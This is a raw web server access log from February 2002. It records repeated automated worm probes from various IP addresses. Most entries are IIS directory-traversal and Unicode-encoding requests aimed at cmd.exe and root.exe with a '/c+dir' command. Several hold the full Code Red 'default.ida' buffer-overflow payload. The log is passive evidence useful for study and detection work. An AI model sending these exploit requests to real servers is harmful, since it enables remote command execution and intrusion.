www 66.126.213.227 - - [16/Feb/2002:23:58:20 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.126.213.227 - - [16/Feb/2002:23:58:21 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.126.213.227 - - [16/Feb/2002:23:58:21 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.126.213.227 - - [16/Feb/2002:23:58:21 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.126.213.227 - - [16/Feb/2002:23:58:22 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.126.213.227 - - [16/Feb/2002:23:58:22 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.126.213.227 - - [16/Feb/2002:23:58:22 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.126.213.227 - - [16/Feb/2002:23:58:23 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.126.213.227 - - [16/Feb/2002:23:58:23 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.126.213.227 - - [16/Feb/2002:23:58:24 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.126.213.227 - - [16/Feb/2002:23:58:24 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.126.213.227 - - [16/Feb/2002:23:58:25 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.126.213.227 - - [16/Feb/2002:23:58:25 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.126.213.227 - - [16/Feb/2002:23:58:25 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.126.213.227 - - [16/Feb/2002:23:58:26 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.126.213.227 - - [16/Feb/2002:23:58:26 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www.worm.com Accept: */* 66.123.49.162 - - [17/Feb/2002:01:34:56 -0600] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 400 252
www.worm.com Accept: */* 212.147.73.202 - - [17/Feb/2002:04:31:40 -0600] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 400 252
www 66.69.3.107 - - [17/Feb/2002:08:52:00 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.69.3.107 - - [17/Feb/2002:08:52:00 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.69.3.107 - - [17/Feb/2002:08:52:00 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.69.3.107 - - [17/Feb/2002:08:52:00 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.69.3.107 - - [17/Feb/2002:08:52:01 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.69.3.107 - - [17/Feb/2002:08:52:01 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.69.3.107 - - [17/Feb/2002:08:52:01 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.69.3.107 - - [17/Feb/2002:08:52:01 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.69.3.107 - - [17/Feb/2002:08:52:01 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.69.3.107 - - [17/Feb/2002:08:52:02 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.69.3.107 - - [17/Feb/2002:08:52:02 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.69.3.107 - - [17/Feb/2002:08:52:02 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.69.3.107 - - [17/Feb/2002:08:52:02 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.69.3.107 - - [17/Feb/2002:08:52:02 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.69.3.107 - - [17/Feb/2002:08:52:03 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.69.3.107 - - [17/Feb/2002:08:52:03 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.168.180.58 - - [17/Feb/2002:13:41:44 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.168.180.58 - - [17/Feb/2002:13:41:48 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.168.180.58 - - [17/Feb/2002:13:41:52 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.168.180.58 - - [17/Feb/2002:13:41:55 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.168.180.58 - - [17/Feb/2002:13:42:02 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.168.180.58 - - [17/Feb/2002:13:42:06 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.168.180.58 - - [17/Feb/2002:13:42:10 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.168.180.58 - - [17/Feb/2002:13:42:14 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.168.180.58 - - [17/Feb/2002:13:42:18 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.168.180.58 - - [17/Feb/2002:13:42:22 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.168.180.58 - - [17/Feb/2002:13:42:26 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.168.180.58 - - [17/Feb/2002:13:42:31 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.168.180.58 - - [17/Feb/2002:13:42:35 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.168.180.58 - - [17/Feb/2002:13:42:39 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.168.180.58 - - [17/Feb/2002:13:42:44 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.168.180.58 - - [17/Feb/2002:13:42:48 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www.worm.com Accept: */* 203.239.133.254 - - [17/Feb/2002:16:11:46 -0600] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 400 252
www 66.73.184.75 - - [17/Feb/2002:17:54:20 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.184.75 - - [17/Feb/2002:17:54:23 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.184.75 - - [17/Feb/2002:17:54:27 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.184.75 - - [17/Feb/2002:17:54:30 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.184.75 - - [17/Feb/2002:17:54:34 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.184.75 - - [17/Feb/2002:17:54:37 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.184.75 - - [17/Feb/2002:17:54:40 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.184.75 - - [17/Feb/2002:17:54:44 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.73.184.75 - - [17/Feb/2002:17:54:49 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.184.75 - - [17/Feb/2002:17:54:57 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.184.75 - - [17/Feb/2002:17:55:03 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.184.75 - - [17/Feb/2002:17:55:07 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.184.75 - - [17/Feb/2002:17:55:11 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.184.75 - - [17/Feb/2002:17:55:15 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.184.75 - - [17/Feb/2002:17:55:19 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.184.75 - - [17/Feb/2002:17:55:24 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.4.212 - - [17/Feb/2002:18:57:39 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.4.212 - - [17/Feb/2002:19:22:03 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.4.212 - - [17/Feb/2002:19:22:04 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.4.212 - - [17/Feb/2002:19:22:04 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.4.212 - - [17/Feb/2002:19:22:05 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.4.212 - - [17/Feb/2002:19:22:06 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.4.212 - - [17/Feb/2002:19:22:07 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.4.212 - - [17/Feb/2002:19:22:07 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.4.212 - - [17/Feb/2002:19:22:08 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.73.4.212 - - [17/Feb/2002:19:22:08 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.4.212 - - [17/Feb/2002:19:22:09 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.4.212 - - [17/Feb/2002:19:22:10 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.4.212 - - [17/Feb/2002:19:22:11 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.4.212 - - [17/Feb/2002:19:22:12 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.4.212 - - [17/Feb/2002:19:22:12 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.4.212 - - [17/Feb/2002:19:22:13 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.4.212 - - [17/Feb/2002:19:22:15 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www.worm.com Accept: */* 218.184.96.51 - - [18/Feb/2002:03:55:41 -0600] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 400 252
www 66.73.37.249 - - [18/Feb/2002:07:33:35 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.37.249 - - [18/Feb/2002:07:33:36 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.37.249 - - [18/Feb/2002:07:33:36 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.37.249 - - [18/Feb/2002:07:33:36 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.37.249 - - [18/Feb/2002:07:33:36 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:07:33:36 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.37.249 - - [18/Feb/2002:07:33:37 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.37.249 - - [18/Feb/2002:07:33:37 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.73.37.249 - - [18/Feb/2002:07:33:37 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:07:33:37 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:07:33:37 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:07:33:37 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:07:33:37 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.37.249 - - [18/Feb/2002:07:33:37 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.37.249 - - [18/Feb/2002:07:33:37 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:07:33:38 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www.worm.com Accept: */* 203.203.203.214 - - [18/Feb/2002:09:09:34 -0600] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 400 252
www.worm.com Accept: */* 209.180.207.185 - - [18/Feb/2002:09:22:58 -0600] "GET /default.ida?NNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNNN%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a  HTTP/1.0" 400 252
www 66.73.37.249 - - [18/Feb/2002:09:36:00 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.37.249 - - [18/Feb/2002:09:36:00 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.37.249 - - [18/Feb/2002:09:36:00 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.37.249 - - [18/Feb/2002:09:36:00 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.37.249 - - [18/Feb/2002:09:36:01 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:09:36:01 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.37.249 - - [18/Feb/2002:09:36:01 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.37.249 - - [18/Feb/2002:09:36:01 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.73.37.249 - - [18/Feb/2002:09:36:01 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:09:36:01 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:09:36:01 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:09:36:01 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:09:36:01 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.37.249 - - [18/Feb/2002:09:36:01 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.37.249 - - [18/Feb/2002:09:36:02 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:09:36:02 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:09:40:38 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.37.249 - - [18/Feb/2002:09:40:38 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.37.249 - - [18/Feb/2002:09:40:38 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.37.249 - - [18/Feb/2002:09:40:38 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.37.249 - - [18/Feb/2002:09:40:38 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:09:40:38 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.37.249 - - [18/Feb/2002:09:40:39 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.37.249 - - [18/Feb/2002:09:40:39 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.73.37.249 - - [18/Feb/2002:09:40:39 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:09:40:39 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:09:40:39 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:09:40:39 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:09:40:39 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.37.249 - - [18/Feb/2002:09:40:39 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.37.249 - - [18/Feb/2002:09:40:39 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:09:40:39 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:09:57:37 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.37.249 - - [18/Feb/2002:09:57:37 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.37.249 - - [18/Feb/2002:09:57:37 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.37.249 - - [18/Feb/2002:09:57:37 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.37.249 - - [18/Feb/2002:09:57:37 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:09:57:38 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.37.249 - - [18/Feb/2002:09:57:38 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.37.249 - - [18/Feb/2002:09:57:38 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.73.37.249 - - [18/Feb/2002:09:57:38 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:09:57:38 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:09:57:38 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:09:57:38 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:09:57:38 -0600] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.37.249 - - [18/Feb/2002:09:57:38 -0600] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 215
www 66.73.37.249 - - [18/Feb/2002:09:57:38 -0600] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:09:57:39 -0600] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:14:16:13 -0600] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 210
www 66.73.37.249 - - [18/Feb/2002:14:16:14 -0600] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 208
www 66.73.37.249 - - [18/Feb/2002:14:16:14 -0600] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.37.249 - - [18/Feb/2002:14:16:14 -0600] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 218
www 66.73.37.249 - - [18/Feb/2002:14:16:14 -0600] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 232
www 66.73.37.249 - - [18/Feb/2002:14:16:14 -0600] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.37.249 - - [18/Feb/2002:14:16:14 -0600] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 249
www 66.73.37.249 - - [18/Feb/2002:14:16:14 -0600] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 265
www 66.73.37.249 - - [18/Feb/2002:14:16:14 -0600] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:14:16:14 -0600] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:14:16:15 -0600] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
www 66.73.37.249 - - [18/Feb/2002:14:16:15 -0600] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 231
